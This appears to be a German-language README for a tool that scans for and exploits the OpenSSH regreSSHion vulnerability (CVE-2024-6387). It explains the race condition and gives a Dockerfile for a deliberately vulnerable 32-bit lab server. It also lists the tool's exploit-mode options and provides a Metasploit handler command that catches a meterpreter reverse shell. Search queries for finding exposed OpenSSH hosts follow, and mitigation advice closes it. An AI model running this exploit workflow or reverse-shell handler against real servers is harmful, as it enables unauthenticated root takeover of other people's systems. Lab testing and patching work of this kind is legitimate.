
Scannt und exploitet CVE-2024-6387 (regreSSHion) in OpenSSH-Servern. Bietet Multithread-Scanning, Banner-Abruf, Grace-Time-Erkennung und einen Exploit-Modus mit Reverse-Shell-Payload.
Im Wesentlichen handelt es sich hierbei um eine statistische Schwachstelle: Eine große Anzahl von Versuchen ist erforderlich, um das Race Condition zu gewinnen und erfolgreich beliebigen Code auszuführen. Angreifer müssen viele Hindernisse überwinden, sagte Schwartz gegenüber SecurityWeek. „Selbst im besten Fall dauert die Ausnutzung der bekanntesten Schwachstelle über 4 Stunden."
In den Versionshinweisen zu OpenSSH 9.8 stellten die Entwickler fest, dass die Schwachstelle nur auf 32-Bit-Linux-Systemen auf Basis von glibc bestätigt wurde und OpenBSD nicht betroffen ist.
Die Umgebung wird mit Docker eingerichtet.
# 1.1. Schreiben der Dockerfile
FROM i386/ubuntu:20.04
ENV DEBIAN_FRONTEND=noninteractive
RUN dpkg --add-architecture i386 && apt-get update && apt-get install -y \
build-essential \
wget \
curl \
libssl-dev:i386 \
zlib1g-dev:i386
RUN groupadd sshd && useradd -g sshd -s /bin/false sshd
RUN wget https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-9.2p1.tar.gz && \
tar -xzf openssh-9.2p1.tar.gz && \
cd openssh-9.2p1 && \
./configure && make && make install
RUN mkdir /var/run/sshd
RUN echo 'root:password' | chpasswd
RUN sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /usr/local/etc/sshd_config && \
sed -i 's/#PasswordAuthentication yes/PasswordAuthentication yes/' /usr/local/etc/sshd_config && \
echo 'MaxStartups 100:30:200' >> /usr/local/etc/sshd_config
RUN echo '#!/bin/bash\n/usr/local/sbin/sshd -V' > /show_version.sh && \
chmod +x /show_version.sh
EXPOSE 22
CMD ["/usr/local/sbin/sshd", "-D"]
sudo docker build --platform=linux/386 -t vulnerable-openssh:9.2p1 .
sudo docker run --platform=linux/386 -d -p 2222:22 --name vuln-ssh-32bit vulnerable-openssh:9.2p1
CVE-2024-6387.py - PoCDer Exploit funktioniert NUR für 32-Bit-OpenSSH-Server. Dies liegt daran, dass der PoC 32-Bit-Zeiger verwendet! Es ist außerdem bekannt, dass einige Versionen bereits gepatcht sind und nicht jeder Server verwundbar ist. Getestet auf: Kali Linux, ParrotSec, Ubuntu 22.04
Schwachstelle für Remote-Codeausführung ohne Authentifizierung im OpenSSH-Server
CVE-2024-6387.py ist ein leichtgewichtiges, effizientes Tool zur Identifizierung von Servern, die verwundbare Versionen von OpenSSH ausführen, und zielt speziell auf die kürzlich entdeckte regreSSHion-Schwachstelle (CVE-2024-6387) ab. Dieses Skript ermöglicht das schnelle Scannen mehrerer IP-Adressen, Domänennamen und CIDR-Netzwerkbereiche, um potenzielle Schwachstellen zu erkennen und die Sicherheit Ihrer Infrastruktur zu gewährleisten.
Im OpenSSH-Server (sshd) wurde ein Signal-Handler-Race-Condition gefunden: Wenn sich ein Client nicht innerhalb von LoginGraceTime Sekunden (standardmäßig 120, bei alten OpenSSH-Versionen 600) authentifiziert, wird der SIGALRM-Handler von sshd asynchron aufgerufen. Dieser Signal-Handler ruft jedoch verschiedene Funktionen auf, die nicht async-signal-sicher sind, beispielsweise syslog().
Die technischen Details finden Sie hier.
Der Fehler, der von Forschern bei Qualys im Mai 2024 entdeckt und mit der Kennung CVE-2024-6387 versehen wurde, ist auf ein Signal-Handler-Race-Condition in sshd zurückzuführen, das nicht authentifizierten Remote-Angreifern ermöglicht, beliebigen Code mit Root-Rechten auszuführen.
„Wenn sich ein Client nicht innerhalb von LoginGraceTime Sekunden (standardmäßig 120) authentifiziert, wird der SIGALRM-Handler von sshd asynchron aufgerufen und ruft verschiedene Funktionen auf, die nicht async-signal-sicher sind."
„Ein nicht authentifizierter Remote-Angreifer kann diesen Fehler ausnutzen, um beliebigen Code mit Root-Rechten auszuführen."
Anforderung: python3 (aktuellste Version)
### Befehlszeilenargumente
mode: Wählt den Betriebsmodus. Optionen sind scan oder exploit.
-T, --targets: IP-Adressen, Domänennamen, Dateipfade mit IP-Adressen oder CIDR-Netzwerkbereiche.
-f, --outputfile: Datei zum Speichern der Ergebnisse (z. B. result.json).
-g, --gracetimecheck: Zeit in Sekunden, die nach der Identifizierung der Version gewartet wird, um die LoginGraceTime-Entschärfung zu prüfen (Standard: 120 Sekunden).
-n, --nic: Netzwerk-NIC (Standard: 'eth0').
-o, --output: Ausgabeformat für Ergebnisse (Optionen: 'csv', 'txt', 'json').
-p, --port: Portnummer zum Prüfen oder Ausnutzen (Standard: 22).
-s, --speed: Anzahl der Threads zur Erhöhung der Race-Condition-Chancen (Standard: 10).
-t, --timeout: Verbindungs-Timeout in Sekunden (Standard: 1 Sekunde).
-H, --resolve-hostnames: Hostnamen auflösen
python3 CVE-2024-6387.py scan -T example.com -p 22
python3 CVE-2024-6387.py exploit -T example.com -p 22 -n eth0
Sie müssen lediglich zuerst den folgenden Befehl ausführen (ändern Sie den {yourip}-Handler) und anschließend den Exploit mit dem obigen Befehl ausführen
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST {yourip}; set LPORT 9999; exploit -j"
Das Tool bietet eine farbcodierte Ausgabe auf der Konsole für bessere Lesbarkeit:
Grün: Erfolgreiche Verbindung oder Operation. Rot: Fehlgeschlagene Verbindung oder Fehler. Gelb: Warnungen oder bemerkenswerte Informationen. Cyan: Allgemeine Informationen oder Statusaktualisierungen.
/product.name="OpenSSH"app="OpenSSH"product:"OpenSSH"(openssh) and labels=remote-accessPatch-Management: Die zeitnahe Anwendung verfügbarer Patches für OpenSSH ist entscheidend, um die Schwachstellenlücke zu schließen. Rechtzeitiges Patchen stellt sicher, dass bekannte Exploits nicht gegen Ihre Systeme eingesetzt werden können, wodurch das Angriffsfenster für Angreifer verringert wird.
Erweiterte Zugriffskontrolle: Die Einschränkung des SSH-Zugriffs durch netzwerkbasierte Kontrollen fügt eine zusätzliche Verteidigungsebene hinzu. Dieser Ansatz minimiert die Gefährdung durch potenzielle Angreifer, indem SSH-Verbindungen nur auf autorisierte Netzwerke oder IP-Adressen beschränkt werden. Die Implementierung von Tools wie Firewall-Regeln oder die Verwendung von VPNs für sicheren Zugriff kann diese Einschränkungen effektiv durchsetzen.
Netzwerksegmentierung: Die Aufteilung Ihres Netzwerks in Segmente hilft, die Auswirkungen eines möglichen Einbruchs einzudämmen. Durch die Segmentierung kritischer Systeme und sensibler Daten von weniger kritischen Teilen Ihres Netzwerks verringern Sie das Risiko lateraler Bewegung durch Angreifer. Diese Segmentierung kann durch strenge Zugriffskontrollen und Überwachung ergänzt werden, um unbefugte Versuche, diese Segmente zu durchbrechen, zu erkennen und darauf zu reagieren.
Intrusion-Detection-Systeme (IDS): Die Bereitstellung von IDS oder Intrusion-Prevention-Systemen (IPS) ermöglicht die Echtzeitüberwachung von Netzwerkverkehr und Systemprotokollen. Diese Systeme können verdächtige Aktivitäten und potenzielle Ausnutzungsversuche im Zusammenhang mit der regreSSHion-Schwachstelle erkennen. Durch solche Systeme ausgelöste Warnungen ermöglichen eine sofortige Untersuchung und Eindämmung, bevor erheblicher Schaden entstehen kann.
Überwachung auf Ausnutzungsversuche: Die kontinuierliche Überwachung von Netzwerk- und Systemprotokollen ist entscheidend. Achten Sie auf ungewöhnliche Muster oder Aktivitäten, die auf einen Versuch hinweisen könnten, die OpenSSH-Schwachstelle auszunutzen. Dieser proaktive Ansatz hilft, Bedrohungen zu identifizieren und darauf zu reagieren, bevor sie Schaden anrichten können.